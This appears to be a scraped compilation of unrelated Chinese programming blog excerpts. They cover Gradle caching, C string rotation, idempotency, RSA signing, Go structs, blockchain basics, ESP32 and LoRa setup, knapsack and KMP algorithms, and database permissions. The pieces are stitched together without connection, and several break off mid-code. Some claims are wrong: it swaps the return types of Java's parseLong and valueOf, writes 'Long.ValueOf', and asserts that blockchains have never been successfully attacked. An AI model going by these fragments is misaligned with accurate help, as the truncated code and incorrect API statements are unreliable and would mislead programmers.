知识补充 xx-SNAPSHOT.jar和xx-RELEASE.jar有什么区别呢? SNAPSHOT——是快照的意思,形容当前版本在开发过程中,不稳定,容易变更,可以理解为是临时包RELEASE——是发行的意思,代表当前这个是趋于稳定的版本,可以提供给第三方正常使用SNAPSHOT对比RELEASE的jar来说,SNAPSHOT是一个可以重复打包的一个版本,就像平时我们开发功能逐渐完善成熟之后,最终形成RELEASE包才能发行给别人使用。 原因分析: 提示:gradle对比maven来说之所以build构建很快,每次开idea的时候会从gradle的环境变量配置的gradle目录下加载缓存,提升速度,例如windos系统的gradle/caches目录:
解决方案: 方法一:要依赖的build.gradle下加入强制刷新即可(推荐) gradle强制刷新依赖build.gradle增加配置 configurations.all { resolutionStrategy.cacheChangingModulesFor 0, 'seconds' } 方法二:命令行强制清除缓存 (备选) gradle build --refresh-dependencies 方法三: 删除对应的gradle/caches文件(没事找事)
目录 题意解题思路代码实现运行结果总结 题意 字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部。请定义一个函数实现字符串左旋转操作的功能。比如,输入字符串"abcdefg"和数字2,该函数将返回左旋转两位得到的结果"cdefgab"。
解题思路 将字符串进行三次倒置,如输入: abcdefg 2
如第一次为整体倒置:
abcdefg --> gfedcba 第二次为左边未旋转的子串倒置:
gfedcba --> cdefgba 第三次为右边旋转的子串倒置:
cdefgba --> cdefgab 代码实现 void reverse_str(char *s, unsigned int left, unsigned int right) { int i= 0; char tmp = 0; if (s == NULL || left >= right) return ; /* 对左右边界字符进行调换,调换次数为(right-left+1)/2 向下取整 */ for (i=0; i<(right-left+1)/2; ++i) { tmp = s[left+i]; s[left+i] = s[right-i]; s[right-i] = tmp; } } char* reverseLeftWords(char* s, int n) { int len = 0; if (s == NULL || n <= 0) return s; len = strlen(s); reverse_str(s, 0, len-1); /* 翻转整体 */ reverse_str(s, 0, len-n-1); /* 翻转左未旋转子串 */ reverse_str(s, len-n, len-1); /* 翻转右旋转子串 */ return s; } 运行结果 以下为leetcode的运行结果:
#include<stdio.h>
#include<string.h>
#define N 20
int main(void)
{
char A[N];
printf("Input a string:");
fgets(A,sizeof(A),stdin);
printf("Input a character:");
char x;
scanf("%c",&x);
int i,j;
int len=strlen(A);
for(i=strlen(A);i>=0;i--)
{
if(A[i]==x)
{
for(j=i;j<len;j++)
{
A[j]=A[j+1];
}
}
}
printf("Results:%s\n",A);
}
什么是幂等性
幂等用于表示任意多次请求均与一次请求执行的结果相同,也就是说对于一个接口而言,无论调用了多少次,最终得到的结果都是一样的。
如何保证接口的幂等性
1、前端拦截
2、使用数据库实现幂等性
3、使用 JVM 锁实现幂等性
4、使用分布式锁实现幂等性
保证接口的幂等性的实现过程
1、前端拦截
前端拦截是指通过 Web 站点的页面进行请求拦截,比如在用户点击完“提交”按钮后,我们可以把按钮设置为不可用或者隐藏状态,避免用户重复点击。
但前端拦截有一个致命的问题,如果是懂行的程序员或者黑客可以直接绕过页面的 JS 执行,直接模拟请求后端的接口,这样的话,我们前端的这些拦截就不能生效了。因此除了前端拦截一部分正常的误操作之外,后端的验证必不可少。
2、数据库实现
a、通过悲观锁来实现幂等性
b、通过唯一索引来实现幂等性
c、通过乐观锁来实现幂等性
3. JVM 锁实现
JVM 锁实现是指通过 JVM 提供的内置锁如 Lock 或者是 synchronized 来实现幂等性。使用 JVM 锁来实现幂等性的一般流程为:首先通过 Lock 对代码段进行加锁操作,然后再判断此订单是否已经被处理过,如果未处理则开启事务执行订单处理,处理完成之后提交事务并释放锁,如图所示
JVM 锁存在的最大问题在于,它只能应用于单机环境,因为 Lock 本身为单机锁,所以它就不适应于分布式多机环境。
4. 分布式锁实现
分布式锁实现幂等性的逻辑是,在每次执行方法之前先判断是否可以获取到分布式锁,如果可以,则表示为第一次执行方法,否则直接舍弃请求即可
幂等性需要注意什么问题
幂等性的实现与判断需要消耗一定的资源,因此不应该给每个接口都增加幂等性判断,要根据实际的业务情况和操作类型来进行区分。例如,我们在进行查询操作和删除操作时就无须进行幂等性判断。查询操作查一次和查多次的结果都是一致的,因此我们无须进行幂等性判断。删除操作也是一样,删除一次和删除多次都是把相关的数据进行删除(这里的删除指的是条件删除而不是删除所有数据),因此也无须进行幂等性判断。
实现幂等性的关键步骤有哪些
1、每个请求操作必须有唯一的 ID,而这个 ID 就是用来表示此业务是否被执行过的关键凭证,例如,订单支付业务的请求,就要使用订单的 ID 作为幂等性验证的 Key;
2、每次执行业务之前必须要先判断此业务是否已经被处理过;
3、第一次业务处理完成之后,要把此业务处理的状态进行保存,比如存储到 Redis 中或者是数据库中,这样才能防止业务被重复处理。
说一说数据库实现幂等性的执行细节
1、通过悲观锁来实现幂等性
2、通过唯一索引来实现幂等性
3、通过乐观锁来实现幂等性
① 悲观锁
使用悲观锁实现幂等性,一般是配合事务一起来实现。
在实现的过程中需要注意以下两个问题:
a、如果使用的是 MySQL 数据库,必须选用 innodb 存储引擎,因为 innodb 支持事务;
SHA256withRSA公、私钥生成以及签名和验签
代码:
package com.test.utils; import java.security.*; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; import java.util.Base64; import java.util.HashMap; import java.util.Map; /** * @Auther: sai * @Date: 2022/6/13 0013 23:04 * @ClassName: SHA256withRSAUtils * @Version: 1.0 * @Description: */ public class SHA256withRSAUtils { private static final String KEY_ALGORITHM = "RSA"; private static final int KEY_SIZE = 1024;//设置长度 private static final String PUBLIC_KEY = "publicKey"; private static final String PRIVATE_KEY = "privateKey"; public static final String SIGNATURE_ALGORITHM = "
1、继承方式 在go语言中,通过匿名字段实现继承操作,代码如下:
package main import "fmt" type person struct { name string age int sex string } //结构体嵌套结构体 type Student struct { //通过匿名字段实现继承操作 person //结构体名称作为结构体成员 id int score int } func main() { var stu Student = Student{person{"张三丰", 190, "男"}, 101, 100} stu.id = 101 //结构体名称.父类成员信息 stu.name = "张三" //stu.person.name="张三" stu.score = 100 stu.sex = "男" stu.age = 18 fmt.Println(stu) } 2、同名字段处理 采用就进原则,使用子类信息,代码如下:
package main import "fmt" type Person struct { name string age int sex string } type student struct { Person id int name string score int } func main() { var stu student = student{Person{"
日常生活中除了选择之外,还有很多循环做的事情,比如说三点一线的生活,日复一日的工作,每天都在重复着一样的事情,这就是循环,那么C语言中的循环语句是什么样的呢,开始今天的分享。
while循环
基本语法格式
while(表达式) { 语句; } 还是使用一个代码来解释while循环的执行过程:
#define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int main() { int i = 1; while (i<=10) { printf("%d\n", i); i++; } return 0; } 通过代码可以看到,表达式i<=10在i==1的情况下判断为真,所以循环体中的语句执行,最后打印出1-10,那么我们可以知道,当表达式为真时,while循环才会执行,当表达式为假,循环则不会执行。那么如果表达式是一个非0的数,循环会不会一直执行呢?
#define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int main() { while (1) { printf("a"); } return 0; } 通过运行结果可以看到,当表达式为1时,while循环会一直执行循环体,也就变成了一个死循环。
while循环中的break;
#define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int main() { int i = 1; while (i<=10) { printf("%d\n", i); if (i==5) { break; } i++; } return 0; } 通过前面的代码我们知道这个代码是用于打印1-10,那么如果在i==5的时候加入break,会发生什么呢?
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 前言一、区块链是什么?(1)区块链的定义(2)区块链的特点:1. 去中心化:2. 开放性:3. 安全:4. 不可篡改:5. 匿名性: (3)区块链的运作机制 二、区块链到底能够干什么1. 面向可编程货币的应用2. 面向可编程金融的应用1. 支付清算: 以个体银行为中心,时间长,易出错.2. 跨境支付:以第三方支付公司为中心,记账周期长,交易手续费高3. 数字票据:中心化的数字票据面临真实性难保证,违规交易频发,信用风险较高等问题4. 保险业务:传统的保险业务面临成本高、理赔难、效率低等问题. 3. 面向可编程社会的应用1. 区块链+电子医疗:2. 区块链+ 能源管理:3. 区块链+ 社会公益:4. 区块链+ 供应链:5. 区块链 + 共享经济:6. 区块链 + 公共服务&教育: 小结: 三、区块链的趋势:趋势一:区块链行业应用加速推进,从数字货币向非金融领域渗透扩散趋势二:企业应用是区块链的主战场,联盟链/私有链将成为主流方向趋势三:区块链与云计算的结合越发紧密,BaaS有望成为公共信任基础设施趋势四:区块链竞争日趋激烈,专利争夺成为竞争重要领域趋势五:可信是区块链的核心要求,标准规范的重要性日趋凸显趋势六:区块链技术与监管存在冲突,但矛盾有望进一步调和 总结 前言 本文主要介绍区块链的定义和应用场景以及发展趋势
如今,区块链已经成为人们茶余饭后的谈资,这个高大上的词汇不仅带来了热潮,也充满神秘感。那么到底什么是区块链,区块链到底能够干什么?区块链的发展趋势是怎样的?本文将从这几个方面进行分析。
提示:本文适合区块链的初学者学习,若有大佬发现我文章的问题,还请不吝赐教!
一、区块链是什么? (1)区块链的定义 区块链本质上是一个去中心化数据库。是一种分布式数据存储,点对点传输,共识机制,加密算法等计算机技术的新型应用模式。
误区:常常有人将区块链与比特币混淆,实际上,区块链是比特币的底层技术和基础架构,而比特币是区块链的一种应用。创建区块链技术的初衷就是为了比特币的发明。
(2)区块链的特点: 1. 去中心化: 要了解去中心化,就要先了解什么是信任,打个简单的例子,A借给B
100块钱,需要有人做中间的证人,来证实这个交易的存在和真实性,那么这个人一定是A和B都信任的人。这就是所谓的信任的力量。你不会信任一个没有足够信用度的单独个体,但你会信任一堆个体或者有足够信用度的单独个体。
而我们都知道的银行,就是一个有足够信用度的单独个体。作为信用中介也是需要成本的,而我们普通大众就要为这庞大的信用成本买单。所以才会造就金融业是最赚钱的行业。
那么有没有办法能够去掉信用中介同时能让A和B都进行信任的交易呢,就可以采用一堆个体的办法,也就是所谓的区块链所要实现的去中心化。
所谓去中心化,就是:没有中间商赚差价。在交易的大网络里,每两个节点之间可以直接交易,也就是P2P的网络。而全网的其他节点都要给这笔交易记账。也就是-分布式账本。
链接:通俗易懂讲解什么是区块链
如上图所示:A和B进行的借钱的交易,会被全网的其他节点(甲乙丙丁)所记录下来,他们人手一个账本,都记录着全网的交易信息,当以后发生交易冲突时,全网的节点都可以翻找账本进行证明。因此就不需要信用中心(也就是中心化了)。
2. 开放性: 区块链技术基础是开源的,除了交易各方的私有信息被加密外,区块链的数据对所有人开放,任何人都可以通过公开的接口查询区块链数据和开发相关应用。
在整个区块链的系统中,每一笔的交易的所有记录都是可以看得到的,从交易地址到交易金额再到交易发生的时间,甚至可以追根溯源到这笔交易之前的上一笔交易,直到追溯到源头。这也是区块链的链式结构的好处。
区块链的高度透明也给其他节点记账带来了便利,甚至可以说,开放性是去中心化的保证之一。
3. 安全: 如此开放和透明,不禁让人担心区块链的安全性,但事实上,区块链在创建到现在,也没有黑客成功进行过攻击,发生过所谓的区块链入侵事件,也是黑客针对区块链的第三方平台的漏洞进行的攻击,而区块链本身却没有这样的漏洞。
区块链采用“最长链共识”解决如何记账的问题。换句话说,如果有两条链发生了分叉,那么全网节点会根据最长的那条链进行记账,抛弃较短的那条链。
而如果你想要修改的你的一条交易,可以采取51攻击的方式**:利用比特币网络采用PoW竞争记账权和“最长链共识”的特点,使用算力优势生成一条更长的链“回滚”已经发生的“交易行为”。
简单来说:当大家都在记载正确的区块链上的数据时(因此此时正确的链是最长链)你一个人拼命伪造一条错误的区块链,当你的算力达到全网的**51%**时,只要你持之以恒的一直伪造下去,就肯定某个时刻伪造出一条比正确的链更长的链。那么大家就会以你的这条链作为正确的链,而放弃之前记载的正确的链。
换句话说就是:只要爷足够牛逼,那么错的就不是爷,而是整个世界。
看上去好像也不是那么难,不就是算力”大一点”而已。
理论上来说,要执行51%算力攻击,首先需要拥有比网络其他矿工更强的算力。这意味着要有非常多的挖矿设备,大量挖矿设备本身就会消耗大量的资金。而且除了设备,还需要大量的电力能源消耗。由于电价上涨以及能源需求的增加,在过去几年里获得足够的电力来运营矿场变得愈发地困难。
而做的这么多步,也仅仅是为了修改一条你的交易记录。
换句话说就是:我是为了这瓶醋,才包的这顿饺子
一、long转string: 这里给出三种转换方式:
1、加空字符串 long l1 = 1; String s1 = l1 + ""; 这个方法很好用,简单方便
2、利用String的valueOf方法 long l2 = 2; String s2 = String.valueOf(l2); 这里需注意valueOf()括号里的值不能为空,如果为空则会报错。
3、利用Long的toString方法 long l3 = 3; String s3 = Long.toString(l3); 不只是Long可以使用这个方法,包装类型都可以使用。Byte,Integer,Short,Long,Boolean,Character,Float,Double等这些都可以调用toString方法来转换成string类型
二、string转long 这里需要注意的是,要转换的string类型的数据中只包含数字
1、利用Long的parseLong方法,返回的是Long的包装类型: String s1 = "123"; Long L = Long.parseLong(s1); 2、利用Long的ValueOf方法,返回的是long型: String s2 = "12"; long l = Long.ValueOf(s2); 需要将string转换成其它类型也可以使用类似的方法。
https://help.finereport.com/finereport9.0/doc-view-1787.html
单选框初始化后事件
this.options.name4Empty = “全部”;
下拉复选框编辑前事件:
$(“.fr-checkbox-list.fr-combo-list div:first div span”).text(“全选”)
去掉全部
$(".fr-combo-list-item-noselect",this.$view).remove(); this.$view.css("height","auto");
今天在配置小程序前后端加密传输时,遇到微信开发者工具报错:TypeError: Cannot read property 'crypto' of undefined。
在点开查看代码错误位置时发现时window的问题(在小程序中没有window这个全局变量)。
在度娘的帮助下,查看到一篇文章,很赞,解决了jsEncrypt.js不兼容小程序的问题。
结局问题的文章https://developers.weixin.qq.com/community/develop/doc/000068b497cfc00619b7bcfdc51004还是在度娘的帮助下,找到了修改为兼容小程序的jsEncrypt.js及jsencrypt.min.js的源码。
兼容小程序的jsEncrypt.js及jsencrypt.min.js文件https://github.com/zhangs3721/wx_jsencrypt
网上有文章说在node_modules资源包下找到jsencrypt下的bin文件,将bin文件中的jsEncrypt.js及jsencrypt.min.js替换掉,就可以解决了,但是尝试过后尚未解决。
我是直接将jsEncrypt.js放到自己创建的util文件下:
在需要使用的js文件中直接引用:
import { JSEncrypt } from "./jsencrypt.js"; 至此问题得以解决。
日常要用的gif动图太大怎么办呢?我们可以对工具动图进行GIF裁剪,那么下面gif中文网就来介绍一下gif在线裁剪编辑的使用方法。 入口:一键合成高清gif动图-在线gif制作工具-gif.cn_GIF中文网 首先,点击【gif裁剪】
上传需要裁剪的gif图片,调整尺寸,点击裁剪
点击下载图片,完成
以上就是gif在线裁剪编辑图片的方法,按照上面的操作只需要三步就可以就可以进行GIF裁剪了,如果身边没有电脑的小伙伴,GIF中文网还可以用手机操作,快来试试吧。
目录 一、概述二、开发环境搭建2.1 获取installer2.2 运行安装程序方法一 修改virtualenv版本(未解决)继续降级到16.7.9 方法二 卸载已安装python(未解决)方法三 离线安装(解决!!) 三、创建配置工程四、编译下载程序五、查看程序运行 一、概述 本文主要记录下使用ESP32的过程。这种环境搭建类笔记,都是在初次接触的时候一遍操作一遍写。所以过程中遇到的问题,也就一并写了进来。
首先是ESP32官方的参考链接:快速入门:
可以看到,从环境搭建到API使用,内容是很丰富的。这个官方文档是接下来的主要学习资料。
另外一篇非常好的博客:ESP32开发之路。
二、开发环境搭建 ESP32不像以往单片机,直接使用KEIL/IAP集成IDE进行开发。需要单独搭建开发环境,我使用的是windows 10。
2.1 获取installer 进入概述里面给出的快速入门文档,下滑进入windows:
新界面中继续下滑,进入ESP-IDF工具安装器的下载链接:
选择需要的下载方式,公司网络还不错,我选择的第一个,在线安装:
2.2 运行安装程序 下载完成得到esp-idf-tools-setup-online-2.15.exe,双击进行安装:
选择好语言后,点击确定进入下一步:
继续下一步:
继续下一步:
继续下一步:
继续下一步:
选择要安装的版本以及路径,继续下一步:
选择安装路径,继续下一步:
点击安装后等待,正常应该一直等待安装完成就可以了。结果我这里报错:
确定后会弹出查看安装日志的对话框,
选择“是”,查看错误:
搜索下UnicodeDecodeError: ...这个错误,基本都是在打开文件时加上encoding = ‘utf-8’。这就要修改python源文件,可能会影响电脑的python环境,所以从错误代码搜索下问题,看看能否解决。
方法一 修改virtualenv版本(未解决) 使用的第一个参考链接,是安装virtualenv-20.1.0-py2.py3-none-any_2.whl(virtualenv介绍):
发生了错误,那就升级到最新的pip:
按照完成后,删除掉之前安装生成的.espressif,重新运行esp-idf-tools-setup-online-2.15.exe安装程序。注意选择使用现有的ESP-IDF,避免再次下载浪费时间:
最终仍然失败,此方法不适用。
继续降级到16.7.9 搜索到另一个链接,也是降级virtualenv版本,进入到python目录使用python.exe -m pip install --upgrade virtualenv==16.7.9:
仍然无效。
方法二 卸载已安装python(未解决) 本地搜索了下错误log中的__init___.py文件:
在293行有一个load函数:
但这是电脑之前安装的python3.9,并不是ESP-IDF使用的嵌入式python3.8.7。所以可能是python环境有问题?
删除原本的python3.9,见另一篇:添加链接描述。
删除Anaconda3:
反正就是everything能搜到__init___.py文件的,都删掉了。重新进行安装ESP-IDF,仍然失败,且仍然是:
File "json\__init__.py", line 293, in load UnicodeDecodeError: 'gbk' codec can't decode byte 0xc5 in position 28: illegal multibyte sequence 真的是张嘴tm…
本题目要求计算下列分段函数f(x)的值:
输入格式: 输入在一行中给出实数x。
输出格式: 在一行中按“f(x) = result”的格式输出,其中x与result都保留一位小数。
输入样例1: 10 输出样例1: f(10.0) = 0.1 输入样例2: 0 输出样例2: f(0.0) = 0.0 答案: #include <stdio.h> int main() { double result,x; scanf("%lf",&x); if(x==0){ printf("f(0.0) = 0.0"); } else if(x!=0){ result=1.0/x; printf("f(%.1lf) = %.1lf\n",x,result); } return 0; } 考察点: 浮点数控制几位小数的方法如下:m是包括整数部分位数、小数部分位数和小数点占位一共的位数,而n是小数部分位数。
%m.nf 或 %m.nlf 也可以有简便的书写方法,例如,本题要求控制一位小数,则可以只写小数点和小数部分:
printf("f(%.1lf) = %.1lf\n",x,result);
/** * 集合数据的拷贝 * @param sources: 数据源类 * @param target: 目标类::new(eg: UserVO::new) * @return */ public static <S, T> List<T> copyListProperties(List<S> sources, Supplier<T> target) { return copyListProperties(sources, target, null); } /** * 带回调函数的集合数据的拷贝(可自定义字段拷贝规则) * @param sources: 数据源类 * @param target: 目标类::new(eg: UserVO::new) * @param callBack: 回调函数 * @return */ public static <S, T> List<T> copyListProperties(List<S> sources, Supplier<T> target, BeanCopyUtilCallBack<S, T> callBack) { List<T> list = new ArrayList<>(sources.size()); for (S source : sources) { T t = target.
前言 最近在学习和摸索LoRa SX1278无线发射模块,其中学到了很多新知识和对SX1278也有了深一点的认识,现在将学习开发中遇到的问题、解决方法、调试完成和低功耗等内容分享出来,也是一种学习记录,方便日后有迹可循,再次学习。 本篇文章可能会比较粗暴一点,直接把需要注意的地方重点介绍一下,可能没有其他文章把每一个小知识点,专用名字都说的那么详尽,怕最后你看完了也不知道哪个是重点了;话不多说,直接来。
准备工具 1、SX1278芯片或者模块
2、主控EFM32(STM32、STM8均可,因为我使用模拟SPI,所以对芯片没要求,有GPIO口就可以)
专有名词 FHSS: 跳频扩频技术 ;
FIFO: 先进先出队列,这里代表队列寄存器
PA :功率放大器 ;
LNA :低噪声放大器;
SNR :信噪比 ;
SF :扩频因子 ;
PLL :锁相环 ;
CAD : 信道活动检测;
CR :编码率 ;
BW : 带宽 ;
RS :符号速率 ;
Preamble :序头;
其中SF 扩频因子是重点
因为扩频因子越大,传播时间越长。带宽低于62.5K时用TCXO做参考时钟源。在睡眠模式下通过配置寄存器RegOpMode 将FSK调制解调器切换成LoRa调制解调器。
在SX1276_LoRa.c文件中有相关参数的配置
tLoRaSettings LoRaSettings = { 470000000, //434000000, // RFFrequency //中心频率 20, // Power //发射功率 9, // SignalBw [0: 7.8kHz, 1: 10.4 kHz, 2: 15.
“表情包”是现在非常流行的交流方式,通过一张图片就能把文字不能表达或不便于表达的情感给表示出来,现在年轻人的社交方式是所谓“天可不聊,图不可不斗”,几乎任何对话都会出现表情包的身影,一言不合就斗图
今天呢,我就要用Python来做几个表情包。
制作表情包用到的技术是Turtle库,然后就是PIL库。话不多说,我们先上图
这是一个捂脸的表情,可以表达内心千万只***奔腾而过,使用Turtle来实现,可以将这个图分成以下几个部分:脸,嘴巴,牙齿,两边的眼泪,手指和手腕,完整的代码和语法不过多解释,贴一个画脸的代码。
1# 画脸 2turtle.speed(5) 3turtle.setup(900, 600, 200, 200) 4turtle.pensize(5) 5turtle.right(90) 6turtle.penup() 7turtle.fd(100) 8turtle.left(90) 9turtle.pendown() 10turtle.begin_fill() 11turtle.pencolor("#B26A0F") # head side color 12turtle.circle(150) 13turtle.fillcolor("#F9E549") # face color 14turtle.end_fill() 来看第三幅图
这个图是使用PIL库来生成的,其实这两个图是两张图拼起来的。首先呢,我们需要找两张图片,一张做表情包的背景,一张做表情。我们就以萌萌哒的熊猫头作为背景,然后试着在背景图上加入金馆长嘻哈表情。
现在我们要把金馆长的表情叠加在熊猫头的背景图中,需要注意的是要在代码中控制好金馆长的表情叠加位置,不然会遮盖住其他轮廓。
1from PIL import Image,ImageDraw,ImageFont 2 3img = Image.open("640.jpg") 4jgz = Image.open("641.jpg") 5img.paste(jgz,(63,46)) 图片的下方是留有一部分空白的,我们可以添加一些文字。
1from PIL import Image,ImageDraw,ImageFont 2 3img = Image.open("640.jpg") 4jgz = Image.open("641.jpg") 5img.paste(jgz,(63,46)) 6 7#控制表情的叠加位置 8draw = ImageDraw.Draw(img) 9font = ImageFont.truetype("simyou.TTF",24) 10draw.text((16,200),"Ahab杂货铺!", fill = (0,0,0), font = font) 11#控制文字添加位置 12img.
根据carl的01背包理论,做一个更为详细的解释:
1、将01背包的遍历抽象为一个二维数组dp[i][j],含义是下标为[0-i]的物品,任取一个放置到容量为j的背包中,所产生的总价值。
2、遍历时(外层遍历物品,内层遍历背包),需要考虑当前的物品能够放进容量为j的背包中:
状态一:不能放,那么当前的总价值等于前一个物品的总价值。dp[i][j]=dp[i-1][j];
状态二:放,分两种情况:一是正好放置此物品,而是可以放置比较小的其余物品。首先当前的价值为dp[i][j]=dp[i-1][j-weight[i]]+value[i];根据情况1,则前一物品不能被存放,所以我们取的j-weight[i]的值为0。根据情况2,则前一物品也可以被存放,所以我们取的j-weight[i]的值为前一物品的值。
3、代码:
void test_2_wei_bag_problem1() { vector<int> weight = {1, 3, 4}; vector<int> value = {15, 20, 30}; int bagweight = 4; // 二维数组 vector<vector<int>> dp(weight.size(), vector<int>(bagweight + 1, 0)); // 初始化 从物品0的容量开始有价值 for (int j = weight[0]; j <= bagweight; j++) { dp[0][j] = value[0]; } // weight数组的大小 就是物品个数 for(int i = 1; i < weight.size(); i++) { // 遍历物品 for(int j = 0; j <= bagweight; j++) { // 遍历背包容量 // 如果物品容量大于当前背包容量,则当前价值与上一时刻的价值相同 if (j < weight[i]) dp[i][j] = dp[i - 1][j]; // 计算只存放当前物品的价值,与存放多个小物品的价值,哪个价值更高 else dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - weight[i]] + value[i]); } } cout << dp[weight.
这里写自定义目录标题 KMP算法中next数组的计算(和前缀表的计算)基础知识BF算法KMP算法 next数组一、前缀表和next数组的关系二、为什么有些next数组是0,1开头,而有些next数组是-1,0开头三、如何计算KMP算法中的next数组(附python实现)方法一:通过前缀表计算next数组(最易理解)方法二:直接计算next数组(和方法一没有本质区别)方法三:动态求解next数组 KMP算法中next数组的计算(和前缀表的计算) 解决问题:
前缀表和next数组的关系为什么有些next数组是0,1开头,而有些next数组是-1,0开头如何计算KMP算法中的next数组 注:本文不讲解KMP算法的实现,只涉及next数组的计算
基础知识 模式匹配: 从某个字符串中找出与一个给定子串相同的子串的位置。简单说就是从一个字符串中找出是否含有另一个字符串,若存在则返回位置。常用的模式匹配算法有:BF(朴素模式匹配算法或暴力匹配算法)、BM算法、RK算法、KMP算法。
主串: 待查找的字符串。
模式串(子串): 模式匹配就是要从主串中找到子串。
KMP算法: 是一种改进BF算法的模式匹配算法。KMP算法的核心是利用匹配失败后的信息,尽量减少模式串与主串的匹配次数以达到快速匹配的目的。
前缀: 字符串的开头,例如字符串abcd的前缀为a, ab, abc, abcd。在KMP算法中使用的前缀为真前缀,既不包括原字符串abcd的前缀。(真前缀:a, ab, abc)
后缀: 字符串的结尾,在KMP算法中同样使用的是真后缀。
最长公共前后缀: 最长的相等的前缀与后缀,例如字符串ABCxyzABC的最长公共前后缀为ABC
前缀表: 存储每一个前缀的最长公共前后缀的长度。
next数组: KMP算法通过这个数组来决定向右移动几位。每一位记录值的含义是如果在此处失配,模式串向右移动到next值的位置。例如:主串为aabcabcc,模式串为:abab,模式串的next数组计算得-1, 0, 0, 1。若在index=2的字符a处失配,next值为0,将模式串index=0移动到现在的index=2处,再进行匹配。 BF算法 BF算法就是暴力匹配算法,是最好理解的算法。就是对主串一位一位的做判断,匹配失败则将模式串向后移动一位,如下图所示。
由图可见染色的部分有22块,也就是匹配了22次才找到。在极端条件下BF算法要匹配(N-M+1)*M次(其中N为主串长度,M为模式串长度),所以BF算法的时间复杂度为O(M*N)。
KMP算法 KMP算法优化了BM算法,通过一次尽可能多的向右移动来减少匹配次数。KMP算法的时间复杂度只有O(M+N)。
KMP算法利用了最长公共前后缀的值来进行移动,如下图所示:
可以看到,已经匹配过的aba就不用再次进行匹配,而是从index=3的b继续匹配,相较于BF算法节省了大量匹配操作。在KMP算法中,每次移动的位置都由在此处匹配的字符其前缀的最长公共前后缀决定。
next数组 一、前缀表和next数组的关系 前缀表存储每一个前缀的最长公共前后缀的长度,next数组存储的是模式串向右移动到next值的位置,这个值与前缀的最长公共前后缀的长度有关,所以next数组是可以由前缀表生成的。
用前缀表生成一个next数组很容易,将前缀表每一位都向后移动1位(最后一位舍去)并在第一位补一个-1就得到了next数组。
二、为什么有些next数组是0,1开头,而有些next数组是-1,0开头 -1,0开头与0, 1开头的next数组本质是一样的。实际上,以0, 1开头的next数组就是以-1,0开头的next数组每一项加1得到的。出现这种情况的原因在于模式串起始的索引值:在程序中,一个数组的索引的起始值为0;然而在考试和书中给的模式串起始值是多从1开始。所以在考试中遇到的next数组通常是以0, 1开头;而一些程序或教程中的next数组是以-1, 0开头。
注:在考试中通常会给模式串的索引,或者会给next值的前两项,在答题时要按照题目中的要求写next数组。
三、如何计算KMP算法中的next数组(附python实现) 方法一:通过前缀表计算next数组(最易理解) 这种方法计算的是0, 1开头的next数组,如果需要-1, 0开头的next数组,将最后一行对数组每一项都加1的代码删除即可。
具体流程见上前缀表和next数组的关系的第二段
创建前缀表,长度和模式串相同,初值全为0 prefix = [0]*kmp_len 查找最长公共前后缀(傻找就完了) # 从最长的前后缀开始找,依次找到只有一个字符。 for i in range(1, kmp_len): # i = 1 to n-1 # 若模式串为:kkskyyds,i为3(前缀表第4位的值) # 则找kksk的最长公共前后缀(通过下面的循环) for j in range(i, 0, -1): # j = i to 1 # j = 3 --- kks不等于ksk # j = 2 --- kk不等于sk # j = 1 --- k等于k,最长公共前后缀长度为1,所以prefix[i] = j # 假若在j = 1时还找不到最长公共前后缀,则next值不变为0 str1 = kmp_str[0:j] str2 = kmp_str[i-j+1:i+1] if str1 == str2: prefix[i] = j break 计算完前缀表了,现在对前缀表后移1位,再在第一位加一个-1 prefix.
重装系统,或者拿到一个非常干净的系统,在安装自己想要的各种东西就会出现很多缺失的问题,比如以下问题:
这是我在安装mysql的时候,cmd输入命令mysql --install mysql8弹出的异常
我这个系统是没有以下这些东西的
所以我们需要去下载依赖资源
官网地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=53587
1,进入官网下载依赖资源,进入以下界面点击下载
2,进入以下界面,勾选自己系统对应的版本,然后点击Next进行下载
3,资源下载好了之后安装就行
如果我们的系统本来是有这个资源的,但是还是有问题,就卸载了重新安装即可
文章目录 4.1 数据库安全性概述4.1.1 数据库的不安全因素 4.2 数据库安全性控制4.2.1 用户身份识别4.2.2 存取控制4.2.3 自主存取控制4.2.4 授权:授权与收回1. GRANT2. 创建用户3. 查看用户权限4. 删除用户5. 查看所有用户的信息6. REVOKE7. 创建数据库模式的权限8. MySQL授予创建权限: 4.2.5 数据库角色1. 角色的创建2. 给角色授权3. 将一个角色授予其他的角色或用户4. 角色权限的收回 4.3 视图机制4.4 审计4.5 数据加密4.6 其他安全保护 4.1 数据库安全性概述 数据库的安全性是指保护数据库以防止不合法使用所造成的数据泄露、更改或破坏。
4.1.1 数据库的不安全因素 非授权用户对数据库的恶意存取和破坏数据库中重要或敏感的数据被泄露安全环境的脆弱性 4.2 数据库安全性控制 与数据库安全性有关的技术,主要包括:
用户身份识别多层存取控制审计视图数据加密… 4.2.1 用户身份识别 用户身份识别是数据库管理系统提供的最外层安全保护措施。
4.2.2 存取控制 存取控制机制主要包括:
定义用户权限
定义用户权限,并将用户权限登记到数据字典中。
用户对某一数据对象的操作权利称为权限。合法权限检查 定义用户权限和合法权限检查机制一起组成了数据库管理系统的存取控制子系统。
C2级数据库管理系统支持自主存取控制。
B1级数据库管理系统支持强制存取控制。
自主存取控制:
用户对于不同的数据库对象有不同的存取权限,不同用户对同一对象也有不同的权限,用户可以将拥有的存取权限转授给其他用户。
自主存取控制非常灵活。强制存取控制:
每一个数据库对象被标以一定的密级,每一个用户也被授予一个级别的许可证,对于任意一个对象,只有具有合法许可证的用户才可以存取。
强制存取控制相对比较严格。 4.2.3 自主存取控制 主要通过SQL的 GRANT 和 REVOKE 来实现。
用户权限由两个要素组成:
数据库对象操作类型 定义一个用户的存取权限就是要定义这个用户可以在哪些数据库对象上进行哪些类型的操作。
在数据库系统中,定义存取权限称为授权。
关系数据库系统中的存取权限:
4.2.4 授权:授权与收回 SQL中使用GRANT向用户授予权限,使用REVOKE向用户收回权限。
在数学中,线性规划(Linear Programming)特指目标函数和约束条件皆为线性的最优化问题。
